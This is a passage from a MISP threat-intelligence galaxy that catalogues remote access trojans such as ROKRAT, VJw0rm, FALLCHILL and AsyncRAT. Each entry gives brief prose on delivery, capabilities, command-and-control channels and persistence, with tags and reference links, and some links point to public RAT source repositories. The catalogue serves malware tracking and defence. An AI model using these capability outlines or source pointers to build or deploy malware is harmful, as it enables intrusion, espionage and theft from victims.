Trochilus has relationships with:

- similar: misp-galaxy:tool="Trochilus" with estimative-language:likelihood-probability="likely"

Table 14281. Table References

Links

https://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/
http://securityaffairs.co/wordpress/43889/cyber-crime/new-rat-trochilus.html

Matryoshka

Their most commonly used initial attack vector is a simple, yet alarmingly effective, spearphishing attack, infecting unsuspecting victims via a malicious email attachment (usually an executable that has been disguised as something else). From there, Matryoshka runs second stage malware via a dropper and covertly installs a Remote Access Toolkit (RAT). This is done using a reflective loader technique that allows the malware to run in process memory, rather than being written to disk. This not only hides the install of the RAT but also ensures that the RAT will be 'reinstalled' after system restart.

The tag is: *misp-galaxy:rat="Matryoshka"*

View relationships graph

Matryoshka has relationships with:

- similar: misp-galaxy:tool="Matryoshka" with estimative-language:likelihood-probability="likely"

Table 14282. Table References

Links
https://www.alienvault.com/blogs/security-essentials/matryoshka-malware-from-copykittens-group

Mangit

First discovered by Trend Micro in June, Mangit is a new malware family being marketed on both the Dark web and open internet. Users have the option to rent the trojan's infrastructure for about $600 per 10-day period or buy the source code for about $8,800. Mangit was allegedly developed by "Ric", a Brazilian hacker, who makes himself available via Skype to discuss rental agreements. Once the malware is rented or purchased, the user controls a portion of the Mangit botnet, the trojan, the dropper, an auto-update system, and the server infrastructure to run their attacks. Mangit contains support for nine Brazillian banks including Citibank, HSBC, and Santander. The malware can also be used to steal user PayPal credentials. Mangit has the capability to collect banking credentials, receive SMS texts when a victim is accessing their bank account, and take over victim's browsers. To circumvent two-factor authentication, attackers can use Mangit to lock victim's browsers and push pop-ups to the victim asking for the verification code they just received.

The tag is: *misp-galaxy:rat="Mangit"*

Table 14283. Table References

Links
http://virusguides.com/newly-discovered-mangit-malware-offers-banking-trojan-service/

https://www.cyber.nj.gov/threat-profiles/trojan-variants/mangit
http://news.softpedia.com/news/new-malware-mangit-surfaces-as-banking-trojan-as-a-service-505458.shtml

LeGeNd

The tag is: *misp-galaxy:rat="LeGeNd"*

Table 14284. Table References

Links
http://www.connect-trojan.net/2016/08/legend-rat-v1.3-by-ahmed-ibrahim.html
http://www.connect-trojan.net/2016/11/legend-rat-v1.9-by-ahmed-ibrahim.html

Revenge-RAT

Revenge v0.1 was a simple tool, according to a researcher known as Rui, who says the malware's author didn't bother obfuscating the RAT's source code. This raised a question mark with the researchers, who couldn't explain why VirusTotal scanners couldn't pick it up as a threat right away.Revenge, which was written in Visual Basic, also didn't feature too many working features, compared to similar RATs. Even Napolean admitted that his tool was still in the early development stages, a reason why he provided the RAT for free.

The tag is: *misp-galaxy:rat="Revenge-RAT"*

Table 14285. Table References

Links
http://www.securitynewspaper.com/2016/08/31/unsophisticated-revenge-rat-released-online-free-exclusive/

vjw0rm 0.1

"Vengeance Justice Worm" was first discovered in 2016 and is a highly multifunctional, modular, publicly available "commodity malware", i.e., it can be purchased by those interested through various cybercrime and hacking related forums and channels.

VJwOrm is a JavaScript-based malware and combines characteristics of Worm, Information Stealer, Remote-Access Trojan (RAT), Denial-of-Service (DOS) malware, and spam-bot.

VJw0rm is propagated primarily by malicious email attachments and by infecting removeable storage devices.

Once executed by the victim, the very heavily obfuscated VJw0rm will enumerate installed drives and, if a removeable drive is found, VJwOrm will infect it if configured to do so.

It will continue to gather victim information such as operating system details, user's details,

installed anti-virus product details, stored browser cookies, the presence of vbc.exe on the system (Microsoft's .NET Visual Basic Compiler, this indicates that .NET is installed on the system and can affect the actor's choice of additional malware delivery), and whether the system has been previously infected.

VJw0rm will then report this information back to its command-and-control server and await further commands, such as downloading and executing additional malware or employing any of its other numerous capabilities.

Finally, VJw0rm establishes persistency in the form of registry auto-runs, system startup folders, a scheduled-task, or any combination of these methods.

The tag is: *misp-galaxy:rat="vjw0rm 0.1"*

vjw0rm 0.1 is also known as:

- Vengeance Justice Worm
- VJw0rm
- VJwOrm

Table 14286. Table References

Links
https://twitter.com/malwrhunterteam/status/816993165119016960?lang=en
https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape

rokrat

ROKRAT is a remote access trojan (RAT) that leverages a malicious Hangual Word Processor (HWP) document sent in spearphishing emails to infect hosts. The HWP document contains an embedded Encapsulated PostScript (EPS) object. The object exploits an EPS buffer overflow vulnerability and downloads a binary disguised as a .JPG file. The file is then decoded and the ROKRAT executable is initiated. The trojan uses legitimate Twitter, Yandex, and Mediafire websites for its command and control communications and exfiltration platforms, making them difficult to block globally. Additionally, the platforms use HTTPS connections, making it more difficult to gather additional data on its activities. Cisco's Talos Group identified two email campaigns. In one, attackers send potential victims emails from an email server of a private university in Seoul, South Korea with a sender email address of "kgf2016@yonsei.ac.kr," the contact email for the Korea Global Forum, adding a sense of legitimacy to the email. It is likely that the email address was compromised and used by the attackers in this campaign. The second is less sophisticated and sends emails claiming to be from a free Korean mail service with a the subject line, "Request Help" and attached malicious HWP filename, "I'm a munchon person in Gangwon-do, North Korea." The ROKRAT developer uses several techniques to hinder analysis, including identifying tools usually used by malware analysts or within sandbox environments. Once it has infected a device, this trojan can execute commands, move a file, remove a file, kill a process, download and execute a file, upload documents, capture screenshots, and log keystrokes. Researchers believe the developer is a native Korean speaker and the campaign is currently targeting Korean-speakers.

The tag is: *misp-galaxy:rat="rokrat"*

rokrat is also known as:

- ROKRAT

Table 14287. Table References

Links
http://blog.talosintelligence.com/2017/04/introducing-rokrat.html
http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html

Qarallax

Travelers applying for a US Visa in Switzerland were recently targeted by cyber-criminals linked to a malware called QRAT. Twitter user @hkashfi posted a Tweet saying that one of his friends received a file (US Travel Docs Information.jar) from someone posing as USTRAVELDOCS.COM support personnel using the Skype account ustravelidocs-switzerland (notice the “i” between “travel” and “docs”).

The tag is: *misp-galaxy:rat="Qarallax"*

Qarallax is also known as:

- qrat

View relationships graph

Qarallax has relationships with:

- similar: misp-galaxy:tool="qrat" with estimative-language:likelihood-probability="likely"

Table 14288. Table References

Links
https://labsblog.f-secure.com/2016/06/07/qarallax-rat-spying-on-us-visa-applicants/

MoonWind

MoonWind is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand.

The tag is: *misp-galaxy:rat="MoonWind"*

View relationships graph

MoonWind has relationships with:

- similar: misp-galaxy:mitre-malware="MoonWind - S0149" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="MoonWind" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:malpedia="MoonWind" with estimative-language:likelihood-probability="likely"

Table 14289. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/
https://attack.mitre.org/wiki/Software/S0149

Remcos

Rescoms, also known as Remcos, is a highly popular red-teaming tool developed by BreakingSecurity. It comes in two versions: Light and Pro. The Light version is marketed primarily as a remote monitoring and management (RMM) tool, while the Pro version is marketed for penetration testing.

The tag is: *misp-galaxy:rat="Remcos"*

Remcos is also known as:

- Rescoms

View relationships graph

Remcos has relationships with:

- similar: misp-galaxy:malpedia="Remcos" with estimative-language:likelihood-probability="likely"

Table 14290. Table References

Links
https://blog.fortinet.com/2017/02/14/remcos-a-new-rat-in-the-wild-2
https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html

Client Maximus

The purpose of the Client Maximus malware is financial fraud. As such, its code aspires to create the capabilities that most banking Trojans have, which allow attackers to monitor victims' web navigation and interrupt online banking session at will. After taking over a victim's banking session, an attacker operating this malware can initiate a fraudulent transaction from the account and use social engineering screens to manipulate the unwitting victim into authorizing it.

The tag is: *misp-galaxy:rat="Client Maximus"*

View relationships graph

Client Maximus has relationships with:

- similar: misp-galaxy:malpedia="Client Maximus" with estimative-language:likelihood-probability="likely"

Table 14291. Table References

Links
https://securityintelligence.com/client-maximus-new-remote-overlay-malware-highlights-rising-malcode-sophistication-in-brazil/

TheFat RAT

Thefatrat a massive exploiting tool revealed >> An easy tool to generate backdoor and easy tool to post exploitation attack like browser attack,dll . This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac . The malware that created with this tool also have an ability to bypass most...

The tag is: *misp-galaxy:rat="TheFat RAT"*

Table 14292. Table References

Links
https://github.com/Screetsec/TheFatRat

RedLeaves

Since around October 2016, JPCERT/CC has been confirming information leakage and other damages caused by malware 'RedLeaves'. It is a new type of malware which has been observed since 2016 in attachments to targeted emails.

The tag is: *misp-galaxy:rat="RedLeaves"*

View relationships graph

RedLeaves has relationships with:

- similar: misp-galaxy:mitre-malware="RedLeaves - S0153" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="BUGJUICE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="RedLeaves" with estimative-language:likelihood-probability="likely"

Table 14293. Table References

Links
http://blog.jpcert.or.jp/2017/04/redleaves---malware-based-on-open-source-rat.html

Rurktar

Dubbed Rurktar, the tool hasn't had all of its functionality implemented yet, but G DATA says "it is relatively safe to say [it] is intended for use in targeted spying operations." The malicious program could be used for reconnaissance operations, as well as to spy on infected computers users, and steal or upload files.

The tag is: *misp-galaxy:rat="Rurktar"*

View relationships graph

Rurktar has relationships with:

- similar: misp-galaxy:malpedia="Rurktar" with estimative-language:likelihood-probability="likely"

Table 14294. Table References

Links
http://www.securityweek.com/rurktar-malware-espionage-tool-development

RATAttack

RATAttack is a remote access trojan (RAT) that uses the Telegram protocol to support encrypted communication between the victim's machine and the attacker. The Telegram protocol also provides a simple method to communicate to the target, negating the need for port forwarding. Before using RATAttack, the attacker must create a Telegram bot and embed the bot's Telegram token into the trojan's configuration file. When a system is infected with RATAttack, it connects to the bot's Telegram channel. The attacker can then connect to the same channel and manage the RATAttack clients on the infected host machines. The trojan's code was available on GitHub then was taken down by the author on April 19, 2017.

The tag is: *misp-galaxy:rat="RATAttack"*

Table 14295. Table References

Links
https://www.cyber.nj.gov/threat-profiles/trojan-variants/ratattack

KhRAT

So called because the Command and Control (C2) infrastructure from previous variants of the malware was located in Cambodia, as discussed by Roland Dela Paz at Forecpoint here, KHRAT is a Trojan that registers victims using their infected machine's username, system language and local IP address. KHRAT provides the threat actors typical RAT features and access to the victim system, including keylogging, screenshot capabilities, remote shell access and so on.

The tag is: *misp-galaxy:rat="KhRAT"*

Table 14296. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/

RevCode

The tag is: *misp-galaxy:rat="RevCode"*

Table 14297. Table References

Links
https://revcode.eu/

AhNyth Android

Android Remote Administration Tool

The tag is: *misp-galaxy:rat="AhNyth Android"*

Table 14298. Table References

Links
https://github.com/AhMyth/AhMyth-Android-RAT

Socket23

SOCKET23 was launched from his web site and immedi- ately infected major French corporations between August and October 1998. The virus (distributing the Trojan) was known as W32/HLLP.DeTroie.A (alias W32/Cheval.TCV). Never had a virus so disrupted French industry. The author quickly offered his own remover and made his apologies on his web site (now suppressed). Jean-Christophe X (18) was arrested on Tuesday 15 June 1999 in the Paris area and placed under judicial investigation for ‘fraudulent intrusion of data in a data processing system, suppression and fraudulent modification of data’

The tag is: *misp-galaxy:rat="Socket23"*

Table 14299. Table References

Links
https://www.virusbulletin.com/uploads/pdf/magazine/1999/199908.pdf

PowerRAT

The tag is: *misp-galaxy:rat="PowerRAT"*

MacSpy

Standard macOS backdoor, offered via a 'malware-as-a-service' model. MacSpy is advertised as the "most sophisticated Mac spyware ever", with the low starting price of free. While the idea of malware-as-a-service (MaaS) isn't a new one with players such as Tox and Shark the game, it can be said that MacSpy is one of the first seen for the OS X platform.

The tag is: *misp-galaxy:rat="MacSpy"*

View relationships graph

MacSpy has relationships with:

- similar: misp-galaxy:malpedia="MacSpy" with estimative-language:likelihood-probability="likely"

Table 14300. Table References

Links
https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service
https://objective-see.com/blog/blog_0x25.html

DNSMessenger

Talos recently analyzed an interesting malware sample that made use of DNS TXT record queries and responses to create a bidirectional Command and Control (C2) channel. This allows the attacker to use DNS communications to submit new commands to be run on infected machines and return the results of the command execution to the attacker. This is an extremely uncommon and evasive way of administering a RAT. The use of multiple stages of Powershell with various stages being completely fileless indicates an attacker who has taken significant measures to avoid detection.

The tag is: *misp-galaxy:rat="DNSMessenger"*

View relationships graph

DNSMessenger has relationships with:

- similar: misp-galaxy:mitre-malware="TEXTMATE - S0146" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="POWERSOURCE - S0145" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="DNSMessenger" with estimative-language:likelihood-probability="likely"

Table 14301. Table References

Links
http://blog.talosintelligence.com/2017/03/dnsmessenger.html

PentagonRAT

The tag is: *misp-galaxy:rat="PentagonRAT"*

Table 14302. Table References

Links
http://pentagon-rat.blogspot.fr/

NewCore

NewCore is a remote access trojan first discovered by Fortinet researchers while conducting analysis on a China-linked APT campaign targeting Vietnamese organizations. The trojan is a DLL file, executed after a trojan downloader is installed on the targeted machine. Based on strings in the code, the trojan may be compiled from the publicly-available source code of the PcClient and PcCortr backdoor trojans.

The tag is: *misp-galaxy:rat="NewCore"*

Table 14303. Table References

Links
https://www.cyber.nj.gov/threat-profiles/trojan-variants/newcore
https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations

Deeper RAT

The tag is: *misp-galaxy:rat="Deeper RAT"*

Xyligan

The tag is: *misp-galaxy:rat="Xyligan"*

H-w0rm

The tag is: *misp-galaxy:rat="H-w0rm"*

htpRAT

On November 8, 2016 a non-disclosed entity in Laos was spear-phished by a group closely related to known Chinese adversaries and most likely affiliated with the Chinese government. The attackers utilized a new kind of Remote Access Trojan (RAT) that has not been previously observed or reported. The new RAT extends the capabilities of traditional RATs by providing complete remote execution of custom commands and programming. htpRAT, uncovered by RiskIQ cyber investigators, is the newest weapon in the Chinese adversary's arsenal in a campaign against

Association of Southeast Asian Nations (ASEAN). Most RATs can log keystrokes, take screenshots, record audio and video from a webcam or microphone, install and uninstall programs and manage files. They support a fixed set of commands operators can execute using different command IDs —'file download' or 'file upload,' for example—and must be completely rebuilt to have different functionality. htpRAT, on the other hand, serves as a conduit for operators to do their job with greater precision and effect. On the Command and Control (C2) server side, threat actors can build new functionality in commands, which can be sent to the malware to execute. This capability makes htpRAT a small, agile, and incredibly dynamic piece of malware. Operators can change functionality, such as searching for a different file on the victim's network, simply by wrapping commands.

The tag is: *misp-galaxy:rat="htpRAT"*

View relationships graph

htpRAT has relationships with:

- similar: misp-galaxy:malpedia="htpRAT" with estimative-language:likelihood-probability="likely"

Table 14304. Table References

Links
https://cdn.riskiq.com/wp-content/uploads/2017/10/RiskIQ-htpRAT-Malware-Attacks.pdf?_ga=2.159415805.1155855406.1509033001-1017609577.1507615928

FALLCHILL

According to trusted third-party reporting, HIDDEN COBRA actors have likely been using FALLCHILL malware since 2016 to target the aerospace, telecommunications, and finance industries. The malware is a fully functional RAT with multiple commands that the actors can issue from a command and control (C2) server to a victim's system via dual proxies. FALLCHILL typically infects a system as a file dropped by other HIDDEN COBRA malware or as a file downloaded unknowingly by users when visiting sites compromised by HIDDEN COBRA actors. HIDDEN COBRA actors use an external tool or dropper to install the FALLCHILL malware-as-a-service to establish persistence. Because of this, additional HIDDEN COBRA malware may be present on systems compromised with FALLCHILL.

The tag is: *misp-galaxy:rat="FALLCHILL"*

View relationships graph

FALLCHILL has relationships with:

- similar: misp-galaxy:mitre-malware="FALLCHILL - S0181" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Volgmer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Volgmer" with estimative-language:likelihood-probability="likely"

Table 14305. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA17-318A
https://securelist.com/operation-applejeus/87553/

UBoatRAT

Alto Networks Unit 42 has identified attacks with a new custom Remote Access Trojan (RAT) called UBoatRAT. The initial version of the RAT, found in May of 2017, was simple HTTP backdoor that uses a public blog service in Hong Kong and a compromised web server in Japan for command and control. The developer soon added various new features to the code and released an updated version in June. The attacks with the latest variants we found in September have following characteristics. Targets personnel or organizations related to South Korea or video games industry Distributes malware through Google Drive Obtains C2 address from GitHub Uses Microsoft Windows Background Intelligent Transfer Service(BITS) to maintain persistence.

The tag is: *misp-galaxy:rat="UBoatRAT"*

Table 14306. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/

CrossRat

The EFF/Lookout report describes CrossRat as a “newly discovered desktop surveillanceware tool…which is able to target Windows, OSX, and Linux.”

The tag is: *misp-galaxy:rat="CrossRat"*

Table 14307. Table References

Links
https://digitasecurity.com/blog/2018/01/23/crossrat/

TSCookieRAT

TSCookie provides parameters such as C&C server information when loading TSCookieRAT. Upon the execution, information of the infected host is sent with HTTP POST request to an external server. (The HTTP header format is the same as TSCookie.) The data is RC4-encrypted from the beginning to 0x14 (the key is Date header value), which is followed by the information of the infected host (host name, user name, OS version, etc.). Please refer to Appendix C, Table C-1 for the data format.

The tag is: *misp-galaxy:rat="TSCookieRAT"*

Table 14308. Table References

Links
http://blog.jpcert.or.jp/.s/2018/03/malware-tscooki-7aa0.html

Coldroot

Coldroot, a remote access trojan (RAT), is still undetectable by most antivirus engines, despite being uploaded and freely available on GitHub for almost two years. The RAT appears to have been created as a joke, "to Play with Mac users," and "give Mac it's rights in this [the RAT] field," but has since expanded to work all three major desktop operating systems — Linux, macOS, and Windows— according to a screenshot of its builder extracted from a promotional YouTube video.

The tag is: *misp-galaxy:rat="Coldroot"*

Table 14309. Table References

Links
https://www.bleepingcomputer.com/news/security/coldroot-rat-still-undetectable-despite-being-uploaded-on-github-two-years-ago/
https://github.com/xlinshan/Coldroot

Comnie

Comnie is a RAT originally identified by Sophos. It has been using Github, Tumbler and Blogspot as covert channels for its C2 communications. Comnie has been observed targetting government, defense, aerospace, high-tech and telecommunication sectors in Asia.

The tag is: *misp-galaxy:rat="Comnie"*

Table 14310. Table References

Links
https://exchange.xforce.ibmcloud.com/collection/East-Asia-Organizations-Victims-of-Comnie-Attack-12749a9dbc20e2f40b3ae99c43416d8c
https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/

GravityRAT

GravityRAT has been under ongoing development for at least 18 months, during which the developer has implemented new features. We've seen file exfiltration, remote command execution capability and anti-vm techniques added throughout the life of GravityRAT. This consistent evolution beyond standard remote code execution is concerning because it shows determination and innovation by the actor.

The tag is: *misp-galaxy:rat="GravityRAT"*

Table 14311. Table References

Links
https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html

ARS VBS Loader

ARS VBS Loader not only downloads and executes malicious code, but also includes a command and control application written in PHP that allows a botmaster to issue commands to a victim's machine. This behavior likens ARS VBS Loader to a remote access Trojan (RAT), giving it behavior and capabilities rarely seen in malicious "loaders".

The tag is: *misp-galaxy:rat="ARS VBS Loader"*

View relationships graph

ARS VBS Loader has relationships with:

- similar: misp-galaxy:malpedia="ARS VBS Loader" with estimative-language:likelihood-probability="likely"

Table 14312. Table References

Links
https://www.flashpoint-intel.com/blog/meet-ars-vbs-loader/

RadRAT

RadRAT, its capabilities include: unfettered control of the compromised computer, lateral movement across the organization (Mimikatz-like credentials harvesting, NTLM hash harvesting from the Windows registry and implementation of the Pass-the-Hash attack on SMB connections) and rootkit-like detection-evasion mechanisms.

The tag is: *misp-galaxy:rat="RadRAT"*

View relationships graph

RadRAT has relationships with:

- similar: misp-galaxy:malpedia="RadRAT" with estimative-language:likelihood-probability="likely"

Table 14313. Table References

Links
https://labs.bitdefender.com/2018/04/radrat-an-all-in-one-toolkit-for-complex-espionage-ops/
https://labs.bitdefender.com/wp-content/uploads/downloads/radrat-an-all-in-one-toolkit-for-complex-espionage-ops/

FlawedAmmyy

FlawedAmmyy, has been used since the beginning of 2016 in both highly targeted email attacks as well as massive, multi-million message campaigns. The RAT is based on leaked source code for Version 3 of the Ammyy Admin remote desktop software. As such FlawedAmmyy contains the functionality of the leaked version, including: Remote Desktop control, File system manager, Proxy support, Audio Chat.

The tag is: *misp-galaxy:rat="FlawedAmmyy"*

View relationships graph

FlawedAmmyy has relationships with:

- similar: misp-galaxy:malpedia="FlawedAmmyy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Truebot" with estimative-language:likelihood-probability="likely"

Table 14314. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/leaked-source-code-ammyy-admin-turned-flawedammyy-rat

Spymaster Pro

Monitoring Software

The tag is: *misp-galaxy:rat="Spymaster Pro"*

Table 14315. Table References

Links
https://www.spymasterpro.com/
https://spycellphone.mobi/reviews/spymaster-pro-real-review-with-screenshots

NavRAT

Classic RAT that can download, upload, execute commands on the victim host and perform keylogging. However, the command and control (C2) infrastructure is very specific. It uses the legitimate Naver email platform in order to communicate with the attackers via email

The tag is: *misp-galaxy:rat="NavRAT"*

View relationships graph

NavRAT has relationships with:

- similar: misp-galaxy:malpedia="NavRAT" with estimative-language:likelihood-

probability="likely"

Table 14316. Table References

Links
https://blog.talosintelligence.com/2018/05/navrat.html

joanap

Joanap is a two-stage malware used to establish peer-to-peer communications and to manage botnets designed to enable other operations. Joanap malware provides HIDDEN COBRA actors with the ability to exfiltrate data, drop and run secondary payloads, and initialize proxy communications on a compromised Windows device.

The tag is: *misp-galaxy:rat="joanap"*

Table 14317. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA18-149A

Sisfader

Sisfader maintains persistence installing itself as a system service, it is made up of multiple components ([1] Dropper - installing the malware, [2] Agent - main code of the RAT, [3] Config - written to the registry, [4] Auto Loader - responsible for extracting the Agent, the Config from the registry) and it has its own custom protocol for communication.

The tag is: *misp-galaxy:rat="Sisfader"*

View relationships graph

Sisfader has relationships with:

- similar: misp-galaxy:malpedia="Sisfader" with estimative-language:likelihood-probability="likely"

Table 14318. Table References

Links
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/june/cve-2017-8750-rtf-and-the-sisfader-rat/

SocketPlayer

The RAT is written in .NET, it uses socket.io for communication. Currently there are two variants of the malware, the 1st variant is a typical downloader whereas the 2nd one has download and C2 functionalities.

The tag is: *misp-galaxy:rat="SocketPlayer"*

Table 14319. Table References

Links
https://file.gdatasoftware.com/web/en/documents/whitepaper/G_DATA_SocketPlayer_Analysis.pdf
https://volon.io/2018/06/targeted-attack-on-indian-defense-officials-using-socketplayer-malware/

Hallaj PRO RAT

RAT

The tag is: *misp-galaxy:rat="Hallaj PRO RAT"*

Table 14320. Table References

Links
https://securelist.com/attacks-on-industrial-enterprises-using-rms-and-teamviewer/87104/

NukeSped

This threat can install other malware on your PC, including Trojan:Win32/NukeSped.B!dha and Trojan:Win32/NukeSped.C!dha. It can show you a warning message that says your files will be made publically available if you don't follow the malicious hacker's commands.

The tag is: *misp-galaxy:rat="NukeSped"*

Table 14321. Table References

Links
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj}NukeSped-Z.aspx
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win64/NukeSped&ThreatID=-2147238204
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win64/NukeSped!bit&ThreatID=-2147238152
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/NukeSped
https://malwarefixes.com/threats/win32nukesped/
https://www.alienvault.com/forums/discussion/17301/alienvault-labs-threat-intelligence-update-for-usm-anywhere-march-25-march-31-2018

TheOneSpy

```
Remotely monitor and control any wrong activity of kids on all smartphones & computers
```

The tag is: *misp-galaxy:rat="TheOneSpy"*

Table 14322. Table References

Links
https://www.theonespy.com/

BONDUPDATER

BONDUPDATER is a PowerShell-based Trojan first discovered by FireEye in mid-November 2017, when OilRig targeted a different Middle Eastern governmental organization. The BONDUPDATER Trojan contains basic backdoor functionality, allowing threat actors to upload and download files, as well as the ability to execute commands. BONDUPDATER, like other OilRig tools, uses DNS tunneling to communicate with its C2 server. During the past month, Unit 42 observed several attacks against a Middle Eastern government leveraging an updated version of the BONDUPDATER malware, which now includes the ability to use TXT records within its DNS tunneling protocol for its C2 communications.

The tag is: *misp-galaxy:rat="BONDUPDATER"*

Table 14323. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/

FlawedGrace

Proofpoint also point out that FlawedGrace is a full-featured RAT written in C++ and that it is a very large program that "extensive use of object-oriented and multithreaded programming techniques. "As a consequence, getting familiar with its internal structure takes a lot of time and is far from a simple task.

The tag is: *misp-galaxy:rat="FlawedGrace"*

Table 14324. Table References

Links
https://www.bleepingcomputer.com/news/security/new-servhelper-backdoor-and-flawedgrace-rat-pushed-by-necurs-botnet/

H-worm

H-worm is a VBS (Visual Basic Script) based RAT written by an individual going by the name Houdini. We believe the author is based in Algeria and has connections to njq8, the author of njw0rm [1] and njRAT/LV [2] through means of a shared or common code base. We have seen the H-worm RAT being employed in targeted attacks against the international energy industry; however, we also see it being employed in a wider context as run of the mill attacks through spammed email attachments and malicious links.

The tag is: *misp-galaxy:rat="H-worm"*

H-worm is also known as:

- WSHRat
- Houdini
- Dunihi

View relationships graph

H-worm has relationships with:

- similar: misp-galaxy:tool="Hworm" with estimative-language:likelihood-probability="likely"

Table 14325. Table References

Links
https://www.fireeye.com/blog/threat-research/2013/09/now-you-see-me-h-worm-by-houdini.html
https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape

Parasite-HTTP-RAT

The RAT, dubbed Parasite HTTP, is especially notable for the extensive array of techniques it incorporates for sandbox detection, anti-debugging, anti-emulation, and other protections. The malware is also modular in nature, allowing actors to add new capabilities as they become available or download additional modules post infection.

The tag is: *misp-galaxy:rat="Parasite-HTTP-RAT"*

Parasite-HTTP-RAT is also known as:

- Parasite HTTP

Table 14326. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/parasite-http-rat-cooks-stew-stealthy-tricks

Caesar RAT

Caesar is an HTTP-based RAT that allows you to remotely control devices directly from your browser.

The tag is: *misp-galaxy:rat="Caesar RAT"*

Table 14327. Table References

Links
https://securityonline.info/caesarrat-http-based-rat/

FlawedAmmy

During the month of October, Check Point researchers discovered a widespread malware campaign spreading a remote access trojan (dubbed “FlawedAmmy”) that allows attackers to take over victims’ computers and data. The campaign was the latest and most widespread delivering the ‘FlawedAmmyy’ RAT, following a number of campaigns that have spread this malware in recent months. The Trojan allows attackers to gain full access to the machine’s camera and microphone, collect screen grabs, steal credentials and sensitive files, and intrusively monitor the victims’ actions. As a result, FlawedAmmy is the first RAT to enter the Global Threat Index’s top 10 ranking.

The tag is: *misp-galaxy:rat="FlawedAmmy"*

Table 14328. Table References

Links
https://www.helpnetsecurity.com/2018/11/14/flawedammy-most-wanted-malware-list/

Felipe

The Zscaler ThreatLabZ team came across a new strain of infostealer Trojan called Felipe, which silently installs itself onto a user’s system and connects to a command-and-control (C&C) server to send system information from the compromised system. This malware is compiled for both 32-bit and 64-bit Windows operating systems. Felipe basically steals the victim’s debit and credit card information and sends it, along with other personal information, to the remote C&C server. It also sets a date and time to perform other malicious activity upon successful infection of the victim machine.

The tag is: *misp-galaxy:rat="Felipe"*

Table 14329. Table References

Links
https://www.zscaler.com/blogs/research/felipe-new-infostealer-trojan

Amavaldo Banking Trojan

Amavaldo is banking trojan writen in Delphi and known to targeting Spanish or Portuguese speaking countries. It contains backdoor functionality and can work as multi stage. Amavaldo also abuses legitimate tools and softwares

The tag is: *misp-galaxy:rat="Amavaldo Banking Trojan"*

Table 14330. Table References

Links
https://www.welivesecurity.com/2019/08/01/banking-trojans-amavaldo/

AsyncRAT

Open-Source Remote Administration Tool For Windows C# (RAT)

The tag is: *misp-galaxy:rat="AsyncRAT"*

Table 14331. Table References

Links
https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp
https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

InnfiRAT

new RAT called InnfiRAT, which is written in .NET and designed to perform specific tasks from an infected machine

The tag is: *misp-galaxy:rat="InnfiRAT"*

Table 14332. Table References

Links
https://www.zscaler.com/blogs/research/innfirat-new-rat-aiming-your-cryptocurrency-and-more

KeyBase

In the wild since February 2015. The malware comes equipped with a variety of features and can be purchased for $50 directly from the author. It has been deployed in attacks against organizations across many industries and is predominantly delivered via phishing emails.

The tag is: *misp-galaxy:rat="KeyBase"*

Table 14333. Table References

Links

https://researchcenter.paloaltonetworks.com/2015/06/keybase-keylogger-malware-family-exposed/

Warzone

Apparently existing since 2018

The tag is: *misp-galaxy:rat="Warzone"*

Table 14334. Table References

Links
https://warzone.pw

SDBbot

SDBbot is a new remote access Trojan (RAT) written in C++ that has been delivered by the Get2 downloader in recent TA505 campaigns. Its name is derived from the debugging log file (sdb.log.txt) and DLL name (BotDLL[.]dll) used in the initial analyzed sample. It also makes use of application shimming [1] for persistence. SDBbot is composed of three pieces: an installer, a loader, and a RAT component.

The tag is: *misp-galaxy:rat="SDBbot"*

SDBbot is also known as:

- SDB bot

Table 14335. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader

Sepulcher

A China-based APT has been sending organizations spear-phishing emails that distribute a never-before-seen intelligence-collecting RAT dubbed Sepulcher.

Researchers discovered the new malware being distributed over the past six months through two separate campaigns. The first, in March, targeted European diplomatic and legislative bodies, non-profit policy research organizations and global organizations dealing with economic affairs. The second, in July, targeted Tibetan dissidents. They tied the campaigns to APT group TA413, which researchers say has been associated with Chinese state interests and is known for targeting the Tibetan community.

